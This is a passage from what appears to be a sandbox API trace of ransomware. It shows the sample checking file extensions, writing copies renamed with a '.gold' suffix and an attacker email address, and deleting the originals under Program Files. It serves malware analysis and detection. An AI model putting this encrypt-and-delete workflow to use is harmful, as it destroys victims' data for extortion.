(lpString1=".bz2", lpString2=".png") returned -1 [0044.844] lstrlenW (lpString=".7z") returned 3 [0044.844] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.844] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0044.844] lstrlenW (lpString=".dbf") returned 4 [0044.844] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.852] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0044.852] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0044.852] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0044.853] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0044.853] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0044.854] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0044.854] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0044.855] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0044.855] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0044.855] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0046.274] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.274] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.274] GetLastError () returned 0x0 [0046.274] ReadFile (in: hFile=0x190, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x712e, lpOverlapped=0x0) returned 1 [0046.278] WriteFile (in: hFile=0x170, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x7130, lpOverlapped=0x0) returned 1 [0046.281] ReadFile (in: hFile=0x190, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.281] WriteFile (in: hFile=0x170, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.281] SetEndOfFile (hFile=0x170) returned 1 [0046.281] CloseHandle (hObject=0x170) returned 1 [0046.281] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.281] SetEndOfFile (hFile=0x190) returned 1 [0046.282] CloseHandle (hObject=0x190) returned 1 [0046.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0046.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0046.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0046.283] lstrlenW (lpString=".doc") returned 4 [0046.283] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString=".docx") returned 5 [0046.283] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0046.283] lstrlenW (lpString=".pdf") returned 4 [0046.283] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString=".xls") returned 4 [0046.283] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString=".xlsx") returned 5 [0046.283] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0046.283] lstrlenW (lpString=".ppt") returned 4 [0046.283] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0046.283] lstrlenW (lpString=".zip") returned 4 [0046.283] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.283] lstrlenW (lpString=".rar") returned 4 [0046.283] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString=".bz2") returned 4 [0046.283] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString=".7z") returned 3 [0046.283] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0046.283] lstrlenW (lpString=".dbf") returned 4 [0046.283] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0046.283] lstrlenW (lpString=".1cd") returned 4 [0046.283] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0046.283] lstrlenW (lpString=".jpg") returned 4 [0046.283] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0046.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0046.283] lstrlenW (lpString=".doc") returned 4 [0046.283] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString=".docx") returned 5 [0046.283] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0046.283] lstrlenW (lpString=".pdf") returned 4 [0046.283] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString=".xls") returned 4 [0046.283] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString=".xlsx") returned 5 [0046.283] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0046.283] lstrlenW (lpString=".ppt") returned 4 [0046.283] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0046.283] lstrlenW (lpString=".zip") returned 4 [0046.283] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.283] lstrlenW (lpString=".rar") returned 4 [0046.284] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.284] lstrlenW (lpString=".bz2") returned 4 [0046.284] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.284] lstrlenW (lpString=".7z") returned 3 [0046.284] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0046.284] lstrlenW (lpString=".dbf") returned 4 [0046.284] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0046.284] lstrlenW (lpString=".1cd") returned 4 [0046.284] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0046.284] lstrlenW (lpString=".jpg") returned 4 [0046.284] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.284] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0046.284] lstrlenW (lpString="AG00037_.GIF") returned 12 [0046.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0047.885] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=6684) returned 1 [0047.885] CloseHandle (hObject=0x1a0) returned 1 [0047.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0047.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.931] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.931] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0047.942] GetLastError () returned 0x0 [0047.942] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1a1c, lpOverlapped=0x0) returned 1 [0047.962] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1a20, lpOverlapped=0x0) returned 1 [0047.963] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.963] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.963] SetEndOfFile (hFile=0x1b0) returned 1 [0047.963] CloseHandle (hObject=0x1b0) returned 1 [0047.963] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.963] SetEndOfFile (hFile=0x1e8) returned 1 [0047.964] CloseHandle (hObject=0x1e8) returned 1 [0047.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0047.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0047.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0047.964] lstrlenW (lpString=".doc") returned 4 [0047.964] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.964] lstrlenW (lpString=".docx") returned 5 [0047.964] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.964] lstrlenW (lpString=".pdf") returned 4 [0047.964] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.964] lstrlenW (lpString=".xls") returned 4 [0047.964] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.964] lstrlenW (lpString=".xlsx") returned 5 [0047.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.964] lstrlenW (lpString=".ppt") returned 4 [0047.964] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0047.964] lstrlenW (lpString=".zip") returned 4 [0047.964] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.964] lstrlenW (lpString=".rar") returned 4 [0047.965] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.965] lstrlenW (lpString=".bz2") returned 4 [0047.965] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.965] lstrlenW (lpString=".7z") returned 3 [0047.965] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0047.965] lstrlenW (lpString=".dbf") returned 4 [0047.965] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0047.965] lstrlenW (lpString=".1cd") returned 4 [0047.965] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0047.965] lstrlenW (lpString=".jpg") returned 4 [0047.965] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0047.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0047.965] lstrlenW (lpString=".doc") returned 4 [0047.965] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.965] lstrlenW (lpString=".docx") returned 5 [0047.965] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.965] lstrlenW (lpString=".pdf") returned 4 [0047.965] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.965] lstrlenW (lpString=".xls") returned 4 [0047.965] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.965] lstrlenW (lpString=".xlsx") returned 5 [0047.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.965] lstrlenW (lpString=".ppt") returned 4 [0047.965] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0047.965] lstrlenW (lpString=".zip") returned 4 [0047.965] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.965] lstrlenW (lpString=".rar") returned 4 [0047.965] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.965] lstrlenW (lpString=".bz2") returned 4 [0047.965] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.965] lstrlenW (lpString=".7z") returned 3 [0047.965] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0047.965] lstrlenW (lpString=".dbf") returned 4 [0047.965] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0047.965] lstrlenW (lpString=".1cd") returned 4 [0047.965] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0047.965] lstrlenW (lpString=".jpg") returned 4 [0047.965] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.965] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.965] lstrlenW (lpString="AG00163_.GIF") returned 12 [0047.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.966] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=6984) returned 1 [0047.966] CloseHandle (hObject=0x1e8) returned 1 [0047.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0047.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.966] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.966] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0047.967] GetLastError () returned 0x0 [0047.967] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1b48, lpOverlapped=0x0) returned 1 [0047.968] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1b50, lpOverlapped=0x0) returned 1 [0047.969] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.969] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.969] SetEndOfFile (hFile=0x1b0) returned 1 [0047.969] CloseHandle (hObject=0x1b0) returned 1 [0047.969] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.969] SetEndOfFile (hFile=0x1e8) returned 1 [0047.970] CloseHandle (hObject=0x1e8) returned 1 [0047.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0047.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0047.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0047.970] lstrlenW (lpString=".doc") returned 4 [0047.970] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.970] lstrlenW (lpString=".docx") returned 5 [0047.970] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.970] lstrlenW (lpString=".pdf") returned 4 [0047.970] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.970] lstrlenW (lpString=".xls") returned 4 [0047.970] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.970] lstrlenW (lpString=".xlsx") returned 5 [0047.970] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.970] lstrlenW (lpString=".ppt") returned 4 [0047.970] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.970] lstrlenW 